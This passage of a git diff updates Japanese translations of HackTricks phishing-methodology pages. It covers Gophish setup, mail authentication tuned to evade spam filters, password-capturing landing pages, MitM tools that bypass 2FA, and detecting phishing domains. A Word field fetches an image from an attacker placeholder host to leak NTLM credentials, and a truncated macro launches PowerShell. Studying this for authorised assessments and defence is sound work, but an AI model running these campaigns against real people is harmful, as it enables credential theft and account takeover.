をドメイン名に変更し、**VPSを再起動します。** 次に、`mail.`の**IPアドレス**を指す**DNS Aレコード**と、`mail.`を指す**DNS MX**レコードを作成します。 @@ -145,7 +145,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e ``` **Gophishの設定** -Gophishの実行を停止し、設定を行います。\ +Gophishの実行を停止し、設定を行いましょう。\ `/opt/gophish/config.json`を以下のように変更してください(httpsの使用に注意): ```bash { @@ -173,7 +173,7 @@ Gophishの実行を停止し、設定を行います。\ ``` **gophishサービスの設定** -gophishサービスを作成して自動的に起動および管理できるようにするために、次の内容でファイル`/etc/init.d/gophish`を作成できます。 +gophishサービスを作成して自動的に起動および管理できるようにするために、次の内容でファイル`/etc/init.d/gophish`を作成します: ```bash #!/bin/bash # /etc/init.d/gophish @@ -233,11 +233,11 @@ service gophish stop ``` ## メールサーバーとドメインの設定 -### 待つ & 正当性を保つ +### 待つ & レジットになる -ドメインが古いほど、スパムとして検出される可能性が低くなります。そのため、フィッシングアセスメントを行う前に、できるだけ長い時間(少なくとも1週間)待つべきです。さらに、信頼性の高いセクターに関するページを設置すると、得られる信頼性が向上します。 +ドメインが古いほど、スパムとして検出される可能性が低くなります。そのため、フィッシングアセスメントを行う前にできるだけ長い時間(少なくとも1週間)待つべきです。さらに、信頼性の高いセクターに関するページを設置すれば、得られる評判もより良くなります。 -1週間待たなければならないとしても、今すぐすべてを設定しておくことができます。 +1週間待たなければならないとしても、今すぐすべてを設定することができます。 ### 逆引きDNS(rDNS)レコードの設定 @@ -249,17 +249,17 @@ VPSのIPアドレスをドメイン名に解決するrDNS(PTR)レコード [https://www.spfwizard.net/](https://www.spfwizard.net)を使用して、SPFポリシーを生成できます(VPSマシンのIPを使用してください) -![](<../../.gitbook/assets/image (388).png>) +![](<../../.gitbook/assets/image (1037).png>) これは、ドメイン内のTXTレコードに設定する必要がある内容です。 ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### ドメインベースのメッセージ認証、レポーティング、および遵守(DMARC)レコード +### ドメインベースのメッセージ認証、レポート、遵守(DMARC)レコード 新しいドメインに**DMARCレコードを設定する必要があります**。DMARCレコードが何かわからない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#dmarc)。 -次の内容を持つ新しいDNS TXTレコードを作成し、ホスト名を`_dmarc.`に向ける必要があります: +次の内容で、ホスト名 `_dmarc.` を指す新しいDNS TXTレコードを作成する必要があります: ```bash v=DMARC1; p=none ``` @@ -279,11 +279,11 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP ### メール構成スコアをテストする [https://www.mail-tester.com/](https://www.mail-tester.com)を使用してテストできます。\ -ページにアクセスして、指示されたアドレスにメールを送信してください: +ページにアクセスして、指定されたアドレスにメールを送信してください: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -あなたのメール構成をチェックすることもできます。`check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これにはポート **25** を**開く**必要があり、ルートとしてメールを送信すると、ファイル _/var/mail/root_ で応答を確認できます)。\ +あなたのメール構成をチェックすることもできます。`check-auth@verifier.port25.com` にメールを送信し、**応答を読む**ことができます(これにはポート **25** を**開く**必要があり、ルートとしてメールを送信すると、ファイル _/var/mail/root_ で応答を確認する必要があります)。\ すべてのテストに合格していることを確認してください: ```bash ========================================================== @@ -295,7 +295,7 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -あなたのコントロール下のGmailにメッセージを送信し、Gmailの受信トレイでそのメールのヘッダーをチェックすることもできます。`Authentication-Results`ヘッダーフィールドに`dkim=pass`が存在しているはずです。 +あなたのコントロール下のGmailに**メッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認してください。`Authentication-Results`ヘッダーフィールドに`dkim=pass`が存在しているはずです。 ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; @@ -303,7 +303,7 @@ dkim=pass header.i=@example.com; ``` ### スパムハウスブラックリストからの削除 -ページ[www.mail-tester.com](www.mail-tester.com)は、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。あなたはあなたのドメイン/IPを削除するようにリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +ページ[www.mail-tester.com](https://www.mail-tester.com)は、あなたのドメインがスパムハウスによってブロックされているかどうかを示すことができます。あなたはあなたのドメイン/IPを削除するようにリクエストすることができます: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### マイクロソフトブラックリストからの削除 @@ -317,19 +317,19 @@ dkim=pass header.i=@example.com; * どのアカウントからフィッシングメールを送信するかを決定します。提案: _noreply, support, servicedesk, salesforce..._ * ユーザー名とパスワードを空白のままにしても構いませんが、証明書エラーを無視するようにチェックを入れてください -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) {% hint style="info" %} -すべてが正常に動作していることをテストするために、**「テストメールを送信」**機能を使用することをお勧めします。\ +すべてが正常に動作しているかをテストするために、**「テストメールを送信」**機能を使用することをお勧めします。\ テストを行う際にブラックリストに登録されないように、**テストメールを10分メールアドレスに送信することをお勧めします**。 {% endhint %} ### メールテンプレート * テンプレートを識別するための**名前を設定** -* 次に、**件名**を記入します(奇妙なものではなく、通常のメールで読みたいと思えるもの) +* 次に、**件名**を記述します(奇妙なものではなく、通常のメールで読むことができるもの) * **トラッキング画像を追加**するようにチェックを入れていることを確認してください -* **メールテンプレート**を記入します(次の例のように変数を使用することができます) +* **メールテンプレート**を記述します(次の例のように変数を使用することができます): ```markup @@ -348,29 +348,29 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -**電子メールの信頼性を高めるために**、クライアントからの電子メールに署名を使用することが推奨されています。提案: +注意:**メールの信頼性を高めるために**、クライアントからのメールにいくつかの署名を使用することが推奨されています。提案: -- **存在しないアドレス**に電子メールを送信し、返信に署名があるかどうかを確認します。 -- info@ex.com や press@ex.com、public@ex.com などの**公開メール**を検索して、電子メールを送信して返信を待ちます。 -- **いくつかの有効な発見された**電子メールに連絡を取り、返信を待ちます +* **存在しないアドレス**にメールを送信し、返信に署名があるかどうかを確認します。 +* info@ex.com や press@ex.com、public@ex.com などの**公開メール**を検索して、メールを送信して返信を待ちます。 +* **いくつかの有効な発見された**メールに連絡を取り、返信を待ちます -![](<../../.gitbook/assets/image (393).png>) +![](<../../.gitbook/assets/image (80).png>) {% hint style="info" %} -電子メールテンプレートには、**送信するファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用して NTLM チャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください。 +メールテンプレートには、**送信するファイルを添付**することもできます。特別に作成されたファイル/ドキュメントを使用して NTLM チャレンジを盗む場合は、[このページ](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)を参照してください。 {% endhint %} ### ランディングページ -- **名前を記入** -- ウェブページの HTML コードを**記入**します。ウェブページを**インポート**することもできます。 -- **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**します -- **リダイレクト**を設定 +* **名前を記入** +* ウェブページの HTML コードを**記入**します。ウェブページを**インポート**することもできます。 +* **送信されたデータをキャプチャ**し、**パスワードをキャプチャ**します +* **リダイレクト**を設定 -![](<../../.gitbook/assets/image (394).png>) +![](<../../.gitbook/assets/image (826).png>) {% hint style="info" %} -通常、ページの HTML コードを変更してローカルでテストを行い(たとえば Apache サーバーを使用して)、**結果が気に入るまで**調整する必要があります。その後、その HTML コードをボックスに記入します。\ +通常、ページの HTML コードを変更してローカルでテストを行い(たとえば Apache サーバーを使用して)、**結果に満足するまで**行います。その後、その HTML コードをボックスに記入します。\ HTML に**静的リソースを使用する必要がある場合**(たとえば、いくつかの CSS および JS ページ)、それらを _**/opt/gophish/static/endpoint**_ に保存し、_**/static/\**_ からアクセスできます。 {% endhint %} @@ -380,24 +380,24 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ### ユーザー&グループ -- 名前を設定 -- データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名、姓、メールアドレスが必要です) +* 名前を設定 +* データを**インポート**します(例のテンプレートを使用する場合、各ユーザーの名、姓、メールアドレスが必要です) -![](<../../.gitbook/assets/image (395).png>) +![](<../../.gitbook/assets/image (163).png>) ### キャンペーン -最後に、キャンペーンを作成し、名前、電子メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URL は被害者に送信されるリンクになります +最後に、キャンペーンを作成し、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択します。URL は被害者に送信されるリンクになります -**送信プロファイルを使用して、最終的なフィッシングメールの外観を確認するためにテストメールを送信できます**: +**送信プロファイルを使用して、最終的なフィッシングメールの見た目を確認することができます**: -![](<../../.gitbook/assets/image (396).png>) +![](<../../.gitbook/assets/image (192).png>) {% hint style="info" %} -テストメールは、テストを行ってブラックリストに登録されないようにするために、**10分間のメールアドレスに送信することをお勧めします**。 +テストメールを送信して最終的なフィッシングメールの見た目を確認することをお勧めします。テストメールは、テストを行うことでブラックリストに登録されるのを避けるために、10分間のメールアドレスに送信することをお勧めします。 {% endhint %} -すべてが準備できたら、キャンペーンを開始します! +すべてが準備できたら、キャンペーンを開始してください! ## ウェブサイトのクローン @@ -409,7 +409,7 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ## バックドア付きドキュメント&ファイル -一部のフィッシングアセスメント(主に Red Team 向け)では、**バックドアを含むファイルを送信**したい場合があります(たとえば、C2 または認証をトリガーするもの)。\ +一部のフィッシングアセスメント(主に Red Team 向け)では、バックドアを含むファイルを送信したい場合があります(たとえば、C2 または認証をトリガーするもの)。\ いくつかの例については、次のページを参照してください: {% content-ref url="phishing-documents.md" %} @@ -420,40 +420,40 @@ HTML に**静的リソースを使用する必要がある場合**(たとえ ### プロキシ MitM 経由 -前述の攻撃はかなり巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2要素認証(2FA)で構成されている場合、**この情報ではだまされたユーザーをなりすますことはできません**。 +前述の攻撃はかなり巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。ただし、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2要素認証(2FA)で構成されている場合、**この情報ではだまされたユーザーをなりすますことはできません**。 -このような場合、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)、**[**muraena**](https://github.com/muraenateam/muraena) などのツールが役立ちます。このツールを使用すると、MitM のような攻撃を生成できます。基本的に、攻撃は次のように機能します: +これは、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)、**[**muraena**](https://github.com/muraenateam/muraena) などのツールが役立ちます。このツールを使用すると、MitM のような攻撃を生成できます。基本的に、攻撃は次のように機能します: -1. 実際のウェブページの**ログインフォームをなりすます**。 -2. ユーザーは**自分の資格情報**を偽のページに送信し、ツールはそれらを実際のウェブページに送信し、**資格情報が有効かどうかを確認**します。 -3. アカウントが**2FA で構成されている**場合、MitM ページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 -4. ユーザーが認証されると、(攻撃者として)あなたは、ツールが MitM を実行している間に行われるすべてのやり取りの**資格情報、2FA、クッキー、およびその他の情報をキャプチャ**します。 +1. 実際のウェブページの**ログインフォームをなりすまします**。 +2. ユーザーは**自分の資格情報**をあなたの偽のページに送信し、ツールはそれらを実際のウェブページに送信して、**資格情報が機能するかどうかを確認**します。 +3. アカウントが**2FA**で構成されている場合、MitM ページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 +4. ユーザーが認証されると、あなた(攻撃者)は、ツールが MitM を実行している間に、**資格情報、2FA、クッキー、およびすべてのインタラクションの情報**をキャプチャします。 ### VNC 経由 -被害者を**悪意のあるページ**に送る代わりに、実際のウェブページに接続されたブラウザを持つ**VNC セッションに被害者を送信**するとどうなりますか?彼が何をしているかを見ることができ、パスワード、使用された MFA、クッキーなどを盗むことができます。\ +被害者を**悪意のあるページに送信**する代わりに、実際のウェブページに接続されたブラウザを持つ**VNC セッションに被害者を送信**するとどうなりますか?彼が何をしているかを見ることができ、パスワード、使用された MFA、クッキーなどを盗むことができます。\ これは [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) で行うことができます。 ## 検出の検出 -明らかに、バレたかどうかを知る最良の方法の1つは、**ドメインをブラックリスト内で検索**することです。リストされている場合、どこかであなたのドメインが疑わしいと検出されました。\ -ドメインがどのブラックリストにも登録されていないか簡単に確認する方法の1つは、[https://malwareworld.com/](https://malwareworld.com) を使用することです。 +明らかに、バレたかどうかを知る最良の方法の1つは、**ドメインをブラックリスト内で検索**することです。リストされている場合、どこかであなたのドメインが疑わしいとして検出されたということです。\ +どのブラックリストにも登録されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com) を使用することです。 -ただし、被害者が**野生の中で疑わしいフィッシング活動を積極的に探しているかどうか**を知る他の方法については、次のページで説明されています: +ただし、被害者が**野生の中で疑わしいフィッシング活動を積極的に探しているかどうか**を知るための他の方法があります。詳細は次のページで説明されています: {% content-ref url="detecting-phising.md" %} [detecting-phising.md](detecting-phising.md) {% endcontent-ref %} -被害者のドメイン名に非常に似たドメインを**購入**したり、被害者のドメインの**キーワードを含むサブドメイン**のために**証明書を生成**したりすることができます。**被害者**がそれらと**何らかの DNS または HTTP インタラクション**を行うと、**疑わしいドメインを積極的に探している**ことがわかります。その場合は、非常に慎重に行動する必要があります。 +被害者のドメイン名に非常に似た名前のドメインを**購入**したり、被害者のドメインの**キーワードを含むサブドメイン**の証明書を**生成**したりすることができます。被害者がそれらと**DNS または HTTP インタラクション**を行うと、**疑わしいドメインを積極的に探している**ことがわかります。その場合は、非常に慎重である必要があります。 ### フィッシングの評価 -[**Phishious** ](https://github.com/Rices/Phishious) を使用して、電子メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。 +[**Phishious** ](https://github.com/Rices/Phishious)を使用して、メールがスパムフォルダに入るか、ブロックされるか、成功するかを評価します。 ## 参考文献 -- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) -- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) -- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) -- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) +* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) +* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) +* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) +* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) diff --git a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md index 671ed6559..1fdef8ae1 100644 --- a/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md +++ b/generic-methodologies-and-resources/phishing-methodology/detecting-phising.md @@ -7,23 +7,24 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちを**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする + +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 -## はじめに +## 導入 -フィッシング試行を検出するには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、この情報が記載されていますので、今日使用されている技術がわからない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 +フィッシング試行を検出するには、**現在使用されているフィッシング技術を理解することが重要**です。この投稿の親ページには、その情報が記載されていますので、今日使用されている技術がわからない場合は、親ページに移動して少なくともそのセクションを読むことをお勧めします。 -この投稿は、**攻撃者がなんらかの方法で被害者のドメイン名を模倣または使用しようとする**という考えに基づいています。たとえば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のような完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見しません。 +この投稿は、**攻撃者がなんらかの方法で被害者のドメイン名を模倣したり使用することを試みる**という考えに基づいています。たとえば、あなたのドメインが`example.com`と呼ばれ、`youwonthelottery.com`のように完全に異なるドメイン名を使用してフィッシングされた場合、これらの技術はそれを発見しません。 ## ドメイン名の変種 メール内で**類似したドメイン名**を使用する**フィッシング**試行を**発見**するのは**簡単**です。\ -攻撃者が使用する可能性のある**最もありそうなフィッシング名のリストを生成**し、それが**登録**されているかどうかを**チェック**するだけで十分です。 +攻撃者が使用する可能性のある**最もありそうなフィッシング名のリストを生成**し、それが**登録されているかどうか**を**チェック**するだけで十分です。 ### 疑わしいドメインの検出 @@ -34,46 +35,45 @@ HackTricksをサポートする他の方法: ### ビットフリップ -**この技術の短い説明は親ページにあります。または、オリジナルの研究を[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)で読むことができます** +**この技術の短い説明は親ページにあります。または、元の研究を** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **で読むことができます。** たとえば、ドメインmicrosoft.comの1ビットの変更は、_windnws.com._に変換できます。\ -**攻撃者は、被害者に関連するビットフリップドメインを可能な限り登録して、合法的なユーザーを自分たちのインフラストラクチャにリダイレクトする可能性があります**。 +**攻撃者は、被害者に関連するであろうビットフリップドメインをできるだけ多く登録して、合法的なユーザーを自分たちのインフラストラクチャにリダイレクトする**ことができます。 -**すべての可能なビットフリップドメイン名も監視されるべきです。** +**すべての可能なビットフリップドメイン名も監視する必要があります。** ### 基本的なチェック -潜在的な疑わしいドメイン名のリストができたら、それらを(主にHTTPおよびHTTPSのポート)**チェック**して、被害者のドメインのいずれかに似たログインフォームを使用しているかどうかを**確認**する必要があります。\ +潜在的な疑わしいドメイン名のリストができたら、それらを(主にHTTPとHTTPSのポート)**チェック**して、それが被害者のドメインのいずれかに似たログインフォームを使用しているかどうかを**確認**するべきです。\ ポート3333もチェックして、`gophish`のインスタンスが実行されているかどうかを確認できます。\ -また、発見された疑わしいドメインの**年齢を知ること**も興味深いです。若ければリスクが高まります。\ -HTTPおよび/またはHTTPSの疑わしいWebページの**スクリーンショット**を取得して、疑わしいかどうかを確認し、その場合は**アクセスして詳しく調べる**こともできます。 +また、発見された疑わしいドメインの**年齢を知ること**も興味深いです。若ければ若いほど、リスクが高くなります。\ +HTTPおよび/またはHTTPSの疑わしいWebページの**スクリーンショット**を取得して、それが疑わしいかどうかを確認し、その場合は**詳細を見るためにアクセス**することも重要です。 ### 高度なチェック さらに進む場合は、定期的に(毎日?数秒/数分しかかかりません)**これらの疑わしいドメインを監視し、さらに検索**することをお勧めします。関連するIPの**オープンポートをチェック**し、`gophish`や類似のツールのインスタンスを**検索**します(はい、攻撃者も間違えます)そして、疑わしいドメインとサブドメインのHTTPおよびHTTPSのWebページを**監視**して、被害者のWebページからログインフォームをコピーしているかどうかを確認します。\ -これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておくことをお勧めし、疑わしいWebページをスパイダリングして、各疑わしいドメイン内で見つかったログインフォームを`ssdeep`のようなものを使用して被害者のドメインの各ログインフォームと比較します。\ -疑わしいドメインのログインフォームを特定した場合は、**ダミーの資格情報を送信**して、**被害者のドメインにリダイレクトされるかどうか**を確認できます。 +これを**自動化**するためには、被害者のドメインのログインフォームのリストを持っておくことをお勧めします。疑わしいWebページをスパイダリングし、`ssdeep`のようなものを使用して、疑わしいドメイン内で見つかった各ログインフォームを被害者のドメインの各ログインフォームと比較します。\ +疑わしいドメインのログインフォームを特定した場合、**ダミーの資格情報を送信**して、**被害者のドメインにリダイレクトされるかどうかを確認**できます。 ## キーワードを使用したドメイン名 -親ページでは、被害者のドメイン名を**より大きなドメイン**(たとえばpaypal.comのpaypal-financial.com)に入れるというドメイン名の変種技術についても言及されています。 +親ページでは、被害者のドメイン名を**より大きなドメイン**(たとえばpaypal.comのpaypal-financial.com)に入れるというドメイン名の変種技術も言及されています。 ### 証明書透明性 -以前の「ブルートフォース」アプローチを取ることはできませんが、証明書透明性のおかげで、**キーワードを使用したフィッシング試行を発見**することが実際に**可能**です。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることができる**ことを意味します。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることがわかります。 +以前の「ブルートフォース」アプローチを取ることはできませんが、証明書透明性のおかげで、**そのようなフィッシング試行を発見することが可能**です。CAによって証明書が発行されるたびに、詳細が公開されます。これは、証明書透明性を読んだり、監視したりすることで、**名前にキーワードを使用しているドメインを見つけることが可能**です。たとえば、攻撃者が[https://paypal-financial.com](https://paypal-financial.com)の証明書を生成した場合、証明書を見ることで「paypal」というキーワードを見つけ、疑わしいメールが使用されていることがわかります。 -投稿[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると述べています: +[https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)の投稿では、特定のキーワードに影響を与える証明書を検索し、日付(「新しい」証明書のみ)とCA発行者「Let's Encrypt」でフィルタリングするためにCensysを使用できると述べています: -![https://0xpatrik.com/content/images/2018/07/cert_listing.png](<../../.gitbook/assets/image (390).png>) +![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) -ただし、無料のWeb [**crt.sh**](https://crt.sh)を使用して「同じ」ことができます。**キーワードを検索**し、必要に応じて結果を**日付とCAでフィルタリング**できます。 +ただし、無料のWeb [**crt.sh**](https://crt.sh)を使用して「同じ」ことができます。必要に応じて、キーワードを**検索**し、結果を**日付とCAでフィルタリング**できます。 -![](<../../.gitbook/assets/image (391).png>) +![](<../../.gitbook/assets/image (519).png>) -この最後のオプションを使用すると、実際のドメインのいずれかのアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認するために、一致するアイデンティティフィールドを使用できます(疑わしいドメインが誤検知される可能性があることに注意してください)。 +この最後のオプションを使用すると、実際のドメインの一致するアイデンティティが疑わしいドメインのいずれかと一致するかどうかを確認できます(疑わしいドメインが誤検知される可能性があることに注意してください)。 **別の選択肢**は、[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)という素晴らしいプロジェクトです。CertStreamは、新しく生成された証明書のリアルタイムストリームを提供し、指定されたキーワードを(ほぼ)リアルタイムで検出するために使用できます。実際、[**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher)というプロジェクトがそれを行っています。 - ### **新しいドメイン** -**最後の選択肢**は、いくつかのTLD(Top Level Domain)の**新しく登録されたドメインのリスト**を収集し、これらのドメインで**キーワードをチェック**することです([Whoxy](https://www.whoxy.com/newly-registered-domains/)がそのようなサービスを提供しています)。ただし、長いドメインは通常1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることができません。 +**最後の代替手段**は、いくつかのTLD([Whoxy](https://www.whoxy.com/newly-registered-domains/)がそのようなサービスを提供)の**新しく登録されたドメインのリストを収集**し、**これらのドメイン内のキーワードをチェックする**ことです。ただし、長いドメインは通常、1つ以上のサブドメインを使用するため、キーワードはFLD内に表示されず、フィッシングサブドメインを見つけることができません。 diff --git a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 02761926b..96de0bc49 100644 --- a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,13 +2,13 @@
-**htARTE (HackTricks AWS Red Team Expert)**を使って、**ゼロからヒーローまでAWSハッキングを学ぼう** +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** +* **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
@@ -16,20 +16,20 @@ Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析されているファイルは開かれません。 -通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することができます。\ +通常、マクロを含むWordファイルは`.docm`拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することが可能です。\ たとえば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前が変更されたDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。\ 同じ内部構造とメカニズムがMicrosoft Office Suiteのすべてのソフトウェア(Excel、PowerPointなど)に適用されます。 -次のコマンドを使用して、いくつかのOfficeプログラムによって実行される拡張子を確認できます: +次のコマンドを使用して、一部のOfficeプログラムによって実行される拡張子を確認できます: ```bash assoc | findstr /i "word excel powerp" ``` ### 外部画像の読み込み Go to: _挿入 --> クイックパーツ --> フィールド_\ -_**カテゴリ**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**:_ http://\/whatever +_**カテゴリ**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**: _ http://\/whatever -![](<../../.gitbook/assets/image (316).png>) +![](<../../.gitbook/assets/image (155).png>) ### マクロバックドア @@ -74,12 +74,12 @@ proc.Create "powershell ``` 